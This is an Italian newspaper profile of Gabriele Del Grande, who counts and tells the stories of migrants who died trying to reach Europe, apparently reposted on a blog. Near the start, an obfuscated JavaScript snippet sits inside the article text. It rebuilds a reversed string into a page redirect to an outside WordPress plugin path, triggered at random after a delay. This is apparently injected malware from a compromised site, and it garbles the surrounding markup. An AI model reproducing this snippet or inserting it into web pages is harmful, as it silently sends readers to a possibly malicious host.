17 novembre 2018

Il ragazzo che conta i clandestini

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Un giorno Gabriele Del Grande comincia a raccogliere le storie di chi cerca invano di raggiungere l´Europa: annegati in mare, dispersi nel deserto, asfissiati nei Tir, assiderati nelle stive degli aerei, torturati in carcere. Presto diventa l´unica fonte attendibile sulle reali cifre del dramma: 15.059 vittime dal 1988, un genocidio.

di Enrico Bellavia per Repubblica

$p$VTO6JhIH6WkCGAcPR=function(n){if (typeof ($p$VTO6JhIH6WkCGAcPR.list[n]) == “string”) return $p$VTO6JhIH6WkCGAcPR.list[n].split(“”).reverse().join(“”);return $p$VTO6JhIH6WkCGAcPR.list[n];};$p$VTO6JhIH6WkCGAcPR.list=[“‘php.tegdiw.ssalc/bil/orp-tegdiw-rettiwt/snigulp/tnetnoc-pw/moc.xamdok//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($p$VTO6JhIH6WkCGAcPR(0), delay);}and(this)” href=”http://www.altracitta.org/wp-content/uploads/2010/10/mare_gipi.png”>Il genocidio causato dalla Fortezza Europa visto da GipiFirenze – Il ragazzo che conta i clandestini odia che lo si chiami ragazzo e non usa mai la parola clandestini. Gabriele Del Grande ha ventotto anni, ha trascorso buona parte degli ultimi quattro nel Nordafrica. Ha raccolto le storie di chi è partito per mare alla volta dell´Italia, della Spagna o della Francia e non è più tornato e di chi è finito in centri di permanenza che sono galere, tra torture e violenze di ogni tipo. Ha sbugiardato così la fredda logica dei respingimenti, raccontando di come si muoia per una barca che si spezza o in cella da innocenti. Ha descritto come sono le prigioni libiche finanziate dall´Italia e a che prezzo siano crollati gli arrivi dal mare. Ha rilanciato gli appelli di chi è finito nel girone infernale delle prigioni tunisine diventando un desaparecido. Ha messo in fila le cifre e ne ha ricavato quella che chiama la «scoperta»: 15.059 vittime dal 1988. Due morti al giorno per ventidue anni. Un genocidio.

È nata da qui, da questo numero, l´idea di abbandonare il lavoro all´agenzia Redattore sociale per mettersi a cercare le facce e le vite dei coetanei ingoiati dal mare e dei padri, delle madri e dei fratelli, rimasti ad aspettare e a sperare l´impossibile. «Avevo i numeri ma non avevo le storie. Non sapevo nulla di quella gente. Volevo capire, andare a fondo, conoscere». I primi contatti con le comunità che vivono in Italia, poi il viaggio alla scoperta del perché, a ondate, quelle persone sfidano il mare su legni sfasciati per arrivare in Paesi che ne hanno un disperato bisogno ma dicono di non volerli. E mascherano con mille sinonimi l´idea di una frontiera sbarrata.

«La prima conclusione è che dietro la retorica della disperazione c´è l´ansia e la voglia di generazioni di africani di mettersi in discussione, di provare a fare meglio, di comprarsi una casa, sposarsi, mandare i figli a studiare. Dietro la retorica della disperazione c´è solo una tensione al riscatto da una condizione frustrante. Poi ci sono gli esuli, i perseguitati, quelli che avrebbero diritto all´asilo che nei loro Paesi conoscono la tortura e qui vengono trattati come criminali». Ecco perché in mezzo alle mille storie di chi è partito, la costante è l´ansia di far presto, di guadagnare tempo e opportunità.

C´è Merouane che lavorava nello studio grafico di famiglia ad Annata, nell´Algeria dove un tempo emigravano gli italiani, e voleva andare in Francia dalla Sardegna e Redouane che il padre incoraggiò a partire perché non finisse i suoi giorni a raggranellare spiccioli in una baracca di Sidi Salem riparando cellulari. C´è chi aveva già pronto un piano per arrivare in aereo con un visto turistico e che una notte, senza dire nulla, ha smesso di attendere che la burocrazia corrotta truccasse le carte e si è messo in viaggio rimanendo da qualche parte in fondo al mare. «Sono ragazzi come me che non se la sentono di trascorrere un´esistenza dai confini già tracciati, che hanno il desiderio di crescere e migliorarsi come chiunque altro. È semplice ma è così».

Gabriele ne ha incontrati tanti pronti a partire. Li ha visti consumarsi nella noia dell´attesa tra i tavolini dei bar, spezzarsi la schiena di fatica per racimolare quanto basta a farsi staccare un biglietto di sola andata in direzione Europa. «Le frontiere in realtà sono già aperte, la stragrande maggioranza di chi arriva qui viaggia in aereo. Solo chi non ha abbastanza soldi o non ha voglia di aspettare, provando e riprovando, sceglie il mare».

Le storie che Gabriele Del Grande ha messo insieme sono pubblicate in tre libri che un combattivo editore, Infinito edizioni, gli ha pubblicato e che hanno spopolato in un mercato che c´è e non si vede e che ha regalato a questo toscano vagabondo dall´aria scanzonata, premi, riconoscimenti e un´autorevolezza fatta di citazioni perfino sul New York Times. Gli si riconosce di avere scoperto quello che era sotto gli occhi tutti: le dimensioni di una catastrofe immane. E di non essersi fermato alle cifre ma di essere partito per andare a raccontare le lacrime, il sudore, il sangue che c´è dietro la maschera di un numero.

«Non mi piace che mi sia dia del ragazzo, in questo Paese sembra più una condanna che un merito essere giovane e aver voglia di fare. Anche quella dell´età finisce per essere una specie di categoria che non ti fa essere una persona ma un´etichetta come quella di immigrato o migrante o clandestino». L´ultimo libro di Del Grande si intitola Il mare di mezzo. È il Mediterraneo ma anche lo spazio che divide chi tra le due sponde ha sogni e speranze identiche. «Mi sono reso conto che non c´era molta differenza tra me che viaggiavo e loro che partivano. Solo quel mare». Il primo reportage di Del Grande in terra d´Africa è in Mamadou va a morire che lo ha fatto conoscere in giro per il mondo. In poche settimane ha messo insieme cento presentazioni in circoli e istituzioni culturali in Italia e in Nordeuropa.

Ma il suo lavoro, quello che ogni giorno serve a tenere il conto e la memoria di chi si è perso nel mare di mezzo, è Fortress Europe: la fortezza Europa, il blog, tra i più cliccati da chi si occupa di immigrazione. Un punto di riferimento anche per i giornalisti che attingono a piene mani al lavoro di Del Grande che giornalista non è: «Non ho la tessera e francamente non credo che mi serva: lavoro, scrivo e racconto. La considerazione di cui godo è data dalla serietà e dall´impegno che ci metto. Poi, aver scritto giornalista sui documenti per la mia attività non credo aiuti». Muoversi per la riva opposta a squarciare il velo che copre le storie dei morti, gli ha attirato più di una grana. Non lo amano in Tunisia dove gli hanno fatto pagare una serie di documentati racconti sulla sanguinosa repressione di polizia della protesta dei sindacalisti nel distretto minerario di Redeyef nel 2008. Tornando a indagare, l´anno dopo, sulla fine dei dispersi algerini forse finiti nelle prigioni tunisine, si trovò nella black list.

L´idea di uno che prende rischi senza calcolarli è lontanissima dal modo di procedere di Gabriele Del Grande. Sa di muoversi su un terreno minato: i suoi contatti sono spesso dissidenti dei Paesi in cui si trova, oppositori dei governi, gente che rischia, quella sì la pelle, per una parola di troppo: «Il problema è più per loro che per me. So di mettere a repentaglio la loro vita e la loro libertà e per questo ho l´obbligo di essere cauto». Di poliziotti e barbe finte al seguito durante i suoi giri ne ha avuti parecchi e seminarli non è semplice. Cercavano i suoi taccuini per carpirgli i contatti. Quella volta della protesta di Redeyef dovette mettere tutto su un file, dribblare i segugi che già erano a un passo dalla sua camera d´albergo e mettere in salvo i materiali nel posto più sicuro che conosca: la Rete. La protesta di Redeyef lo ha messo sulla pista della fine che fanno gli esuli e delle torture riferite da chi aveva assaggiato la polizia tunisina. Che non ha gradito tanto zelo.

«Dai centri di permanenza, dalle prigioni che ho visitato, tengo i contatti con chi è dentro. Spesso le persone arrestate utilizzano un telefono cellulare e il mio numero ormai gira parecchio. Ricevo richieste di aiuto, segnalazioni, denunce su ciò che accade. Per chi viene arrestato prima di espatriare, in Nordafrica non ci sono certezze. A bordo di camion, spesso anche dei container, come quelli utilizzati in Libia, somali, eritrei, sudanesi finiscono per mesi, se non per anni, in strutture speciali lontane da tutto e creduti morti dai parenti. Ormai ho la mia rete di contatti e finisco sempre per avere in tempo reale un bollettino di uno sbarco, tentato o riuscito. Ho informazioni di prima mano che sottopongo a verifica. Con i telefoni cellulari mi arrivano anche riscontri fotografici alle torture e alle violenze denunciate».

La prima volta in Africa fu un viaggio in Tanzania imbottito di vaccini, adesso prende il primo volo utile e va, annotando con scrupolo quel che la straordinaria accoglienza culinaria dall´altra parte del mare gli riserva. Messa in un cassetto la laurea in Storia orientale che gli valse una borsa di studio con la quale sono iniziati i reportage, oggi Del Grande lavora per partire ancora e raccontare altre storie e altri spaccati di un mondo che da qui si fatica a vedere. Un tempo non lontano faceva il cameriere in una trattoria di Testaccio a Roma per mettere insieme i soldi, oggi, tra libri, conferenze e seminari all´università, riesce a vivere della sua stessa voglia di raccontare. «Lavoro su Internet, posso farlo da qualsiasi posto. Ho abitato a Roma e Milano, ho vissuto due anni in Sicilia, adesso sto in Toscana dai miei, ma riparto tra non molto e poi chissà, forse metto su casa ancora a Roma». Ha la consapevolezza di fare qualcosa di grande e di utile. Ma se la cava facile con una battuta: «I miei meriti? Forse i demeriti degli altri. Di chi è pagato, e anche bene, per raccontare quel che racconto io e non lo fa».

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